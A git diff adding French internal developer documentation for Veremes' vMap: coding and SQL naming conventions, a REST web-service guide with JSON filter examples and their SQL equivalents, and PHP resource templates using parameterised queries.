+- **Indentation :** un code compréhensible est un code indenté ; pour cela, nous
+utilisons la fonction d'indentation automatique de Netbeans avec 4 espaces
+par indentation.
+- **Ne pas dupliquer de code :** il ne faut jamais dupliquer du code car ce
+genre de comportement est très difficile à maintenir.
+- **Utiliser les fonctions génériques :** il faut éviter de créer des fonctions
+chacun dans son coin et utiliser des fonctions génériques le plus souvent
+possible afin d'éviter les duplications de code.
+- **Commentaires :** il faudra écrire des commentaires au moins **pour chaque
+fonction** sous le modèle de commentaires **JSDoc/PHPDoc**, et au moins un
+commentaire toutes les 8 lignes de code pour expliquer ce que l'on fait.
+- **Nommage :**
+ - Il faut éviter l'utilisation d'abréviations.
+ - Chaque variable devra être précédée par son type (ex: aTableau, sChaine,
+ iEntier, oObjet).
+ - Les noms des classes commencent toujours par une majuscule.
+ - Les fonctions et les variables (constantes non incluses) commencent toujours par
+ une minuscule.
+ - Les noms des constantes sont en majuscules.
+ - Les fonctions et variables privées se terminent par un underscore.
+ - Il faut utiliser d’abord la simple quote, puis la double quote.
+- **Spécificités JavaScript :**
+ - Utiliser **this_**: pour pointer sur l'objet en cours dans une fonction
+ anonyme, il est conseillé de créer la variable this_ = this pour l'utiliser
+ dans la fonction.
+ - Utiliser **prototype** pour créer les fonctions.
+ - Écrire **@export** où **@private** dans le commentaire d'une fonction
+ pour spécifier si elle est publique ou privée lors de la compilation.
+
+
+## Modèle de données SQL
+
+### Procédure
+
+Pour écrire ou modifier dans le modèle de données, il faut toujours respecter la
+procédure suivante :
+1. Écrire dans Visual Paradigm
+2. Faire valider par Olivier, Yoann ou Armand
+3. Écrire le code SQL correspondant dans le fichier queries.xml en mentionnant
+son nom, la date et l'heure
+
+### Règles
+
+- **Modifications :** il est interdit de faire des modifications sur les versions précédentes.
+- **Suppressions :** il est interdit de supprimer une colonne, une table ou une vue ; il faudra
+créer une nouvelle si besoin et commenter l'ancienne en DEPRECATED.
+- **Nommage:**
+ - Il faut éviter l'utilisation d'abréviations.
+ - Les noms des tables doivent être en minuscules.
+ - Toute table contient un identifiant sous le modèle id_[nom de l'objet].
+ - Les tables de relation s'écrivent [table1]\_[table2].
+ - Les tables constantes (non éditables depuis l'interface) s'écrivent rt\_[table].
+ - Les contraintes de type clés étrangères s'écrivent fk\_[table 1]\_[table 2].
+ - Les contraintes de type clés primaires s'écrivent pk\_[nom de la colonne].
+ - Les colonnes géométriques doivent toujours être sous la contrainte du
+ type de géométrie et de la projection.
+ - Il ne faut pas utiliser d'underscores sauf dans les cas spécifiques cités
+ ci-dessus.
diff --git a/developpement/web_services.md b/developpement/web_services.md
new file mode 100644
index 0000000000000000000000000000000000000000..7ad9df820bec53d21950cf17c9b9f551c09d79da
--- /dev/null
+++ b/developpement/web_services.md
@@ -0,0 +1,808 @@
+# Services web
+
+
+
+## 1. Définition
+
+Les web services sont la partie back-end de l'application ; ils se
+composent de plusieurs ressources qui permettent au client d'interroger
+la base de données, de lire/modifier des fichiers et d'effectuer des
+opérations sur la machine physique du serveur.
+
+Dans vMap et autres produits Veremes, ils sont mis en place par une
+API-REST, ce qui signifie que l'on accède aux données selon des règles
+bien spécifiques.
+
+Exemple de requête permettant de lister les cartes vMap :
+
+ https://corbieres/vmap_rest/vmap/maps
+
+Exemple de requête permettant de voir les informations de la carte ayant
+pour identifiant '15' :
+
+ https://corbieres/vmap_rest/vmap/maps/{15}
+
+L''API-REST retourne au client un résultat JSON ou XML contenant les
+informations demandées :
+
+``` json
+{
+ "maps": [
+ {
+ "theme_name": "Thème Géobretagne",
+ "theme_description": "Cartes Géobretagne avec fond OSM",
+ "crs_name": "[EPSG:2154]-RGF93.Lambert-93",
+ "map_id": 15,
+ "crs_id": "EPSG:2154",
+ "name": "Carte OSM Géobretagne",
+ "description": "Carte Geobretagne avec un fond osm",
+ "extent": "140807|6725441|303007|6799494",
+ "catalog_index": 3,
+ "thumbnail": "https://corbieres/vmap_ws_data/vitis/vmap_admin_map_vmap_admin_map/documents/15/thumbnail/geobret.png?d=1499068782",
+ "maptheme_id": 1,
+ "groups": "",
+ "groups_label": ""
+ }
+ ],
+ "status": 1
+}
+```
+
+## 2. Utilisation
+
+### 2.1. En-têtes
+
+Il y a divers en-têtes essentiels à l'utilisation des ressources.
+
+#### 2.1.1. Accept
+
+##### Valeurs possibles :
+
+- application/json
+- application/xml
+- application/x-vm-json
+
+##### Définition
+
+L'en-tête détermine le format de réponse demandé par le client. Les
+formats application/json et application/xml retournent un objet
+possédant un tableau qui porte le nom de la ressource (dans l'exemple
+ci-dessus, il s'agit de "maps"). Le format application/x-vm-json diffère
+en donnant comme nom du tableau "data", permettant de faire des requêtes
+génériques par le client.
+
+#### 2.1.2. Token
+
+Le token de connexion identifie l'utilisateur de l'application, c'est
+grâce à lui que la ressource identifie si le demandeur possède les
+droits suffisants pour avoir un résultat, et c'est par son intermédiaire
+que se font les connexions à la base de données.
+
+**Pour des raisons de sécurité, il est strictement interdit de passer le
+token en tant que paramètre dans l'URL**. Il faut donc le passer en en-tête
+: si une personne malveillante a accès au réseau (man in the middle),
+elle pourrait alors voir ce token et donc usurper l'identité d'un autre
+utilisateur.
+
+#### 2.1.3. X-HTTP-Method-Override
+
+Lorsque l'on utilise régulièrement l'API-REST, il est possible que l'on
+soit confronté à des problèmes de longueur d'URL : à partir d'un certain
+nombre de caractères, les navigateurs refusent d’exécuter la requête et
+affichent l'erreur suivante :
+
+ 414 URI Too Long
+
+Pour pallier à cette contrainte, un en-tête X-HTTP-Method-Override a été
+mis en place pour envoyer une requête de type POST avec des paramètres
+figurant dans le body (sans limite de taille) et interprétables comme
+des requêtes GET :
+
+ General
+ Request Method:POST
+
+ Request Headers
+ X-HTTP-Method-Override: GET
+
+### 2.2. Paramètres génériques
+
+#### 2.2.1. order_by
+
+Permet de définir l'ordre d'affichage lorsqu'il y a plusieurs données.
+Par défaut, il vaut l'identifiant de la ressource.
+
+#### 2.2.2. sort_order
+
+Couplé au paramètre "order_by", il permet de définir l'ordre avec les
+valeurs suivantes :
+
+- asc : ordre ascendant
+- desc : ordre descendant
+
+#### 2.2.3. limit
+
+Si le paramètre "limit" est fourni, alors le tableau retourné se limite à
+"n" éléments.
+
+#### 2.2.4. offset
+
+Souvent couplé avec les paramètres "limit" et "order_by", il peut
+permettre, par exemple, d'effectuer une pagination sur une liste.
+
+#### 2.2.5. attributs
+
+Définit les attributs qui seront retournés par le client. Pour les
+renseigner, il faut écrire ces attributs en les séparant par le
+caractère "|".
+
+#### 2.2.6. distinct
+
+True/false permet de distinguer les valeurs résultantes.
+
+#### 2.2.7. filter
+
+Donne la possibilité à l’utilisateur de filtrer les données. Il faut
+écrire un objet JSON composé de **relations** et d'**opérateurs**.
+
+##### 2.2.7.1. Relations
+
+Les relations définissent le type de condition à utiliser selon la
+structure JSON suivante :
+
+``` json
+{
+ "relation": "AND",
+ "operators":[{
+ "..."
+ }, {
+ "..."
+ }]
+}
+```
+
+Dans cet exemple, on demande d'ajouter les filtres définis par les
+opérateurs selon la relation "AND". On peut également utiliser une
+relation "OR".
+
+Il est aussi possible de faire dans une même requête du "AND" et du "OR" en
+incorporant une relation comme si c'était un opérateur :
+
+``` json
+{
+ "relation": "AND",
+ "operators":[{
+ "..."
+ }, {
+ "relation": "OR",
+ "operators": [{
+ "..."
+ }, {
+ "..."
+ }]
+ }]
+}
+```
+
+Ainsi, on obtient une requête constituée de "AND" et de "OR" (voir l'exemple
+ci-après).
+
+##### 2.2.7.2. Opérateurs
+
+Plus simples à comprendre, les opérateurs se composent de trois ou
+quatre arguments :
+
+- **column** : nom de la colonne sur laquelle appliquer le filtre.
+- **value** : valeur du filtre.
+- **compare_operator** : type de comparaison ("=", "!=", "<>",
+ ">=", "<=", ">", "<", "IN", "NOT IN", "IS NULL", "IS NOT
+ NULL", "LIKE", "INTERSECT").
+- **compare_operator_options (optionnel)** : ajoute des options
+ suivant le type de compare_operator.
+
+La structure est la suivante :
+
+``` json
+{
+ "column": "...",
+ "compare_operator": "...",
+ "value": "...",
+ "compare_operator_options": {
+ "..." : "..."
+ }
+}
+```
+
+##### 2.2.7.3. Exemples
+
+Pour être plus parlant, voici quelques exemples avec leur équivalent
+sous forme SQL.
+
+En utilisant une relation AND, on peut filtrer sur plusieurs opérateurs :
+
+``` json
+{
+ "relation": "AND",
+ "operators":[{
+ "column": "auteur",
+ "compare_operator": "=",
+ "value": "Laurent"
+ }, {
+ "column": "allume",
+ "compare_operator": "=",
+ "value": "true"
+ }, {
+ "column": "route_id",
+ "compare_operator": "=",
+ "value": 10
+ }]
+}
+```
+
+Équivalent SQL
+
+``` sql
+auteur='laurent' AND allume='true' AND route_id=10
+```
+
+------------------------------------------------------------------------
+
+Si un seul opérateur est utilisé, alors il n'est pas nécessaire de
+renseigner de relation :
+
+``` json
+{
+ "column":"auteur",
+ "compare_operator":"=",
+ "value":"laurent"
+}
+```
+
+Équivalent SQL
+
+``` sql
+auteur='laurent'
+```
+
+------------------------------------------------------------------------
+
+En utilisant des relations imbriquées, on peut effectuer des filtres
+complexes :
+
+``` json
+{
+ "relation": "AND",
+ "operators":[{
+ "column":"auteur",
+ "compare_operator":"=",
+ "value":"laurent"
+ }, {
+ "relation": "OR",
+ "operators": [{
+ "column":"allume",
+ "compare_operator":"=",
+ "value":"true"
+ }, {
+ "column":"route_id",
+ "compare_operator":"=",
+ "value":10
+ }]
+ }]
+}
+```
+
+Équivalent SQL
+
+``` sql
+auteur='laurent' AND (allume='true' OR route_id=10)
+```
+
+------------------------------------------------------------------------
+
+On peut utiliser "compare_operator" = "IN" en utilisant des valeurs
+situées dans un tableau :
+
+``` json
+{
+ "relation": "AND",
+ "operators":[{
+ "column":"auteur",
+ "compare_operator":"=",
+ "value":"laurent"
+ }, {
+ "relation": "OR",
+ "operators": [{
+ "column":"allume",
+ "compare_operator":"=",
+ "value":"true"
+ }, {
+ "column":"route_id",
+ "compare_operator":"IN",
+ "value":[5,10]
+ }]
+ }]
+}
+```
+
+Équivalent SQL
+
+``` sql
+auteur='laurent' AND (allume='true' OR route_id IN (5, 10))
+```
+
+------------------------------------------------------------------------
+
+Il est possible d'utiliser "compare_operator" = "LIKE" avec des valeurs
+suivies ou précédées du caractère "%" :
+
+``` json
+{
+ "column":"auteur",
+ "compare_operator":"LIKE",
+ "value":"laur%"
+}
+```
+
+Équivalent SQL
+
+``` sql
+auteur LIKE 'laur'%
+```
+
+------------------------------------------------------------------------
+
+En utilisant "compare_operator_options.case_insensitive" sur un type
+"LIKE", on peut rendre le filtre insensible à la casse :
+
+``` json
+{
+ "column":"auteur",
+ "compare_operator":"LIKE",
+ "compare_operator_options":{
+ "case_insensitive": true
+ },
+ "value":"%laur%"
+}
+```
+
+Équivalent SQL
+
+``` sql
+LOWER(auteur) LIKE LOWER('%lAur%')
+```
+
+------------------------------------------------------------------------
+
+Utilisation de "IS NOT NULL"
+
+``` json
+{
+ "column": "nom",
+ "compare_operator": "NOT NULL"
+}
+```
+
+Équivalent SQL
+
+``` sql
+nom IS NOT NULL
+```
+
+------------------------------------------------------------------------
+
+On peut effectuer des intersections géométriques utilisant PostGIS :
+
+``` json
+{
+ "column":"geom",
+ "compare_operator":"intersect",
+ "value":"SRID=3857;POINT(349627.744690664 5237367.243157785)"
+}
+```
+
+------------------------------------------------------------------------
+
+L'option "source_proj" utilisée ici n'est pas obligatoire mais
+conseillée si on connaît le système de projection de la table :
+
+``` json
+{
+ "column":"geom",
+ "compare_operator":"intersect",
+ "compare_operator_options":{
+ "source_proj": 2154
+ },
+ "value":"SRID=3857;POINT(349627.744690664 5237367.243157785)"
+}
+```
+
+------------------------------------------------------------------------
+
+On peut utiliser un buffer lors de l'intersection, et même spécifier sur
+quel type de géométrie s'applique le buffer :
+
+``` json
+{
+ "column":"geom",
+ "compare_operator":"intersect",
+ "compare_operator_options":{
+ "source_proj":"2154",
+ "intersect_buffer":8.31909066896183,
+ "intersect_buffer_geom_type":"point|line"
+ },
+ "value":"SRID=3857;POINT(349643.2709620344 5237383.963757724)"
+}
+```
+
+## 3. Exemple de création d'un web service et de ses ressources
+
+Dans une installation classique, les web services se trouvent sous forme
+de dossiers dans le répertoire vmap/vas/rest/ws. Dans ces dossiers se
+trouvent les fichiers indispensables ainsi que les ressources des web
+services.
+
+Dans cet exemple, nous allons créer un web service "customWS" dans
+lequel créer une ressource "villes".
+
+### 3.1. Création du dossier et des fichiers indispensables
+
+Parmi les fichiers indispensables se trouvent les fichiers suivants :
+
+- **overview.phtml** : permet d'afficher la ressource dans la page
+ d'aide au développement.
+- **CustomWS.class.inc** : classe mère du projet.
+- **CustomWS.class.sql.inc** : fichier contenant les requêtes SQL
+ du projet. Il doit contenir au moins les requêtes "Définition des
+ requêtes de l'api Vitis".
+
+### 3.2. Création de la première ressource
+
+Dans cet exemple, nous cherchons à créer la ressource "villes" qui
+permet de lister les villes contenues dans la table "f_villes_l93"
+installée par défaut avec vMap.
+
+Chaque ressource est définie par deux fichiers PHP :
+
+- l'un pour la définition unitaire d'un objet (ici Ville.class.inc),
+- l'autre pour agir sur une liste complète d'objets
+ (ici Villes.class.inc). Le "s" (obligatoire) permet de faire la
+ différence entre la liste et l'unitaire.
+
+#### 3.2.1 La ressource unitaire (Ville.class.inc)
+
+Il s'agit d'une classe PHP qui doit au moins contenir les éléments
+suivants :
+
+##### 3.2.1.1 Inclusions des fichiers
+
+``` php
+require_once 'CustomWS.class.inc';
+require_once __DIR__ . '/../../class/vitis_lib/Connection.class.inc';
+```
+
+Inclusion de la classe mère du web service ainsi que la classe
+permettant d'effectuer des connexions à la base de données.
+
+##### 3.2.1.2 Classe
+
+``` php
+class Ville extends CustomWS {
+ ...
+}
+```
+
+Définition de la classe Ville.
+
+##### 3.2.1.3 Constructeur
+
+``` php
+/**
+ * construct
+ * @param type $aPath url of the request
+ * @param type $aValues parameters of the request
+ * @param type $properties properties
+ * @param type $oConnection connection object
+ */
+function __construct($aPath, $aValues, $properties, $oConnection) {
+ $this->aValues = $aValues;
+ $this->aPath = $aPath;
+ $this->aProperties = $properties;
+ $this->oConnection = $oConnection;
+ $this->aSelectedFields = Array(...);
+}
+```
+
+Constructeur de la classe. La variable **$this->aSelectedFields**
+définit les attributs à afficher lors des requêtes.
+
+##### 3.2.1.4 Fonction GET
+
+``` php
+/**
+ * @SWG\Get(path="/villes/{code}",
+ * tags={"villes"},
+ * summary="Get Ville",
+ * description="Request to get Ville by id",
+ * operationId="GET",
+ * produces={"application/xml", "application/json", "application/x-vm-json"},
+ * @SWG\Parameter(
+ * name="token",
+ * in="query",
+ * description="user token",
+ * required=true,
+ * type="string"
+ * ),
+ * @SWG\Parameter(
+ * name="code",
+ * in="path",
+ * description="",
+ * required=true,
+ * type="integer"
+ * ),
+ * @SWG\Response(
+ * response=200,
+ * description="Poprerties Response",
+ * @SWG\Schema(ref="#/definitions/villes")
+ * )
+ * )
+ */
+
+/**
+ * get informations about villes
+ */
+function GET() {
+ require $this->sRessourcesFile;
+ $this->aFields = $this->getFields('sig', 'f_villes_l93', 'code');
+}
+```
+
+Deux commentaires se trouvent au-dessus de cette fonction :
+
+- le premier est utilisé par [swagger](https://swagger.io/) pour
+ générer la documentation en ligne interactive,
+- le second est le commentaire de la fonction utilisée pour décrire
+ aux développeurs ce que fait la fonction.
+
+Les paramètres décrits dans les commentaires swagger passés dans le
+chemin l'URL par la relation in="path"(comme ici "*code*") sont
+disponibles via la variable **$this->aPath**.
+
+Les paramètres décrits dans les commentaires swagger passés dans l'URL
+par la relation in="query" (comme ici "*token*") sont disponibles via la
+variable **$this->aValues**.
+
+La ligne **require $this->sRessourcesFile** permet de récupérer le
+contenu du fichier *CustomWS.class.sql.inc*.
+
+La fonction **$this->getFields** permet de récupérer, en base de
+données, les informations de la ville en question en utilisant le paramètre
+"*code*" passé dans l'URL.
+
+Le résultat stocké dans **$this->aFields** est retourné lors de la
+requête http.
+
+#### 3.2.2 La ressource multiple (Villes.class.inc)
+
+##### 3.2.2.1 Inclusions des fichiers
+
+``` php
+require_once 'Vmap.class.inc';
+require_once 'Ville.class.inc';
+require_once __DIR__ . '/../../class/vitis_lib/Connection.class.inc';
+require_once __DIR__ . '/../../class/vmlib/BdDataAccess.inc';
+```
+
+Require de la classe mère du web service ainsi que la classe unitaire et
+les fichiers permettant l'utilisation de la base de données.
+
+##### 3.2.2.2 Classe
+
+``` php
+class Villes extends CustomWS {
+ ...
+}
+```
+
+Définition de la classe Villes.
+
+##### 3.2.2.3 Constructeur
+
+``` php
+/**
+ * construct
+ * @param type $aPath url of the request
+ * @param type $aValues parameters of the request
+ * @param type $properties properties
+ */
+function __construct($aPath, $aValues, $properties) {
+ $this->aValues = $aValues;
+ $this->aPath = $aPath;
+ $this->aProperties = $properties;
+ $this->oConnection = new Connection($this->aValues, $this->aProperties);
+ $this->aSelectedFields = Array(...);
+}
+```
+
+Contrairement à la ressource unitaire, la connexion est instanciée.
+
+##### 3.2.2.4 Fonction GET
+
+``` php
+/**
+ * @SWG\Get(path="/villes",
+ * tags={"Villes"},
+ * summary="Get Villes",
+ * description="Request to get Villes",
+ * operationId="GET",
+ * produces={"application/xml", "application/json", "application/x-vm-json"},
+ * @SWG\Parameter(
+ * name="token",
+ * in="query",
+ * description="user token",
+ * required=true,
+ * type="string"
+ * ),
+ * @SWG\Parameter(
+ * name="order_by",
+ * in="query",
+ * description="list of ordering fields",
+ * required=false,
+ * type="string"
+ * ),
+ * @SWG\Parameter(
+ * name="sort_order",
+ * in="query",
+ * description="sort order",
+ * required=false,
+ * type="string"
+ * ),
+ * @SWG\Parameter(
+ * name="limit",
+ * in="query",
+ * description="number of element",
+ * required=false,
+ * type="integer",
+ * default="4"
+ * ),
+ * @SWG\Parameter(
+ * name="offset",
+ * in="query",
+ * description="index of first element",
+ * required=false,
+ * type="string"
+ * ),
+ * @SWG\Parameter(
+ * name="attributs",
+ * in="query",
+ * description="list of attributs",
+ * required=false,
+ * type="string"
+ * ),
+ * @SWG\Parameter(
+ * name="filter",
+ * in="query",
+ * description="filter results",
+ * required=false,
+ * type="string"
+ * ),
+ * @SWG\Parameter(
+ * name="distinct",
+ * in="query",
+ * description="delete duplicates",
+ * required=false,
+ * type="boolean"
+ * ),
+ * @SWG\Response(
+ * response=200,
+ * description="Poprerties Response",
+ * @SWG\Schema(ref="#/definitions/villes")
+ * )
+ * )
+ */
+
+/**
+ * get Villes
+ * @return the array of objects
+ */
+function GET() {
+ $aReturn = $this->genericGet('sig', 'f_villes_l93', 'code');
+ return $aReturn['sMessage'];
+}
+```
+
+Tous les paramètres génériques sont listés dans les commentaires
+swagger, et sont disponibles sur les variables \*\* $this->aPath
+\*\* et \*\* $this->aValues \*\*.
+
+Ici c'est la fonction **genericGet()** qui est utilisée et la fonction
+retourne du texte.
+
+### 3.3. Ressource complexe avec executeWithParams()
+
+Nous avons vu ci-dessus comment créer une ressource standard qui permet
+d'aller chercher en base de données les informations d'une table et de
+les renvoyer.
+
+Imaginons que l'on veuille, dans la classe Ville, faire une deuxième
+requête en base de données (cette fois définie dans
+*CustomWS.class.sql.inc*) pour aller chercher les monuments associés à
+la ville.
+
+*CustomWS.class.sql.inc* :
+
+``` php
+$aSql['getVilleMonuments'] = "SELECT * FROM sig.f_monuments WHERE \"code\"=[sCode]";
+```
+
+*Ville.class.inc* :
+
+``` php
+function GET() {
+ require $this->sRessourcesFile;
+ $this->aFields = $this->getFields('sig', 'f_villes_l93', 'code');
+
+ $aSQLParams = array(
+ 'sCode' => array('value' => $this->aFields['code'], 'type' => 'string')
+ );
+ $oResult = $this->oConnection->oBd->executeWithParams($aSql['getVilleMonuments'], $aSQLParams);
+ if (gettype($oResult) == 'object') {
+ $this->aFields['monuments'] = Array();
+ while ($aLigne = $this->oConnection->oBd->ligneSuivante($oResult)) {
+ array_push($this->aFields['monuments'], $aLigne);
+ }
+ }
+}
+```
+
+Ci-dessus, la fonction **executeWithParams()** permet d’exécuter une
+requête SQL. Le résultat est alors rajouté dans
+$this->aFields\['monuments'\].
+
+## 4. Fonction executeWithParams()
+
+### 4.1 Définition
+
+Pour effectuer des requêtes SQL en PHP, il est impératif d'utiliser la
+fonction executeWithParams() qui va exécuter une requête avec un tableau
+de paramètres passé en option.
+
+**Il ne faut surtout pas concaténer des variables à une requête SQL au
+risque d'exposer l'application à une faille de type**
+[SQLi](https://fr.wikipedia.org/wiki/Injection_SQL).
+
+Il faut écrire dans la requête une balise contenant le nom de la
+variable, et fournir un tableau de variables à executeWithParams().
+
+Les différents formats sont :
+
+- **string**, **number**, **integer** : pour les valeurs de variables
+ à passer entre simple quotes.
+- **group** : pour les valeurs à passer entre simple quotes et
+ séparées par des virgules.
+- **geometry** : pour les géométries à passer entre simple quotes.
+- **quoted_string** : comme string mais pour intégrer des caractères
+ spéciaux ; ex : 'ma lampe%'.
+- **column_name**, **schema_name**, **table_name** : pour les noms
+ de colonnes, tables, schémas. Attention car pour ces types de
+ paramètres, executeWithParams() ne s'occupera pas des quotes, il faut
+ donc les mettre à l'avance ; ex : SELECT "\[column_name\]" FROM
+ \[schema_name\].\[table_name\] WHERE table='\[table_name\]'.
+
+### 4.2 Exemples
+
+``` php
+$aSQLParams = array(
+ 'sSchema' => array('value' => $this->aProperties['schema_vmap'], 'type' => 'column_name'),
+ 'sGroups' => array('value' => $sGroups, 'type' => 'group')
+);
+$sSql = "SELECT map_id, group_id FROM [sSchema].map_group WHERE \"group_id\" in ([sGroups])";
+$oResult = $this->oConnection->oBd->executeWithParams($sSql, $aSQLParams);
+```
+
+``` php
+$aSQLParams = array(
+ 'sSchema' => array('value' => $this->aProperties['schema_vmap'], 'type' => 'column_name'),
+ 'sMapId' => array('value' => $map_id, 'type' => 'number')
+);
+$sSql = "SELECT * FROM [sSchema].map_layer WHERE \"map_id\" = [sMapId]";
+$oResult = $this->oConnection->oBd->executeWithParams($sSql, $aSQLParams);
+```
diff --git a/index.rst b/index.rst
new file mode 100644
index 0000000000000000000000000000000000000000..1839ba6c20c6187ac707c1a0eb0c81628035f75c
--- /dev/null
+++ b/index.rst
@@ -0,0 +1,7 @@
+Documentation interne à Veremes
+====================================
+
+.. toctree::
+ :maxdepth: 2
+
+ developpement/index.rst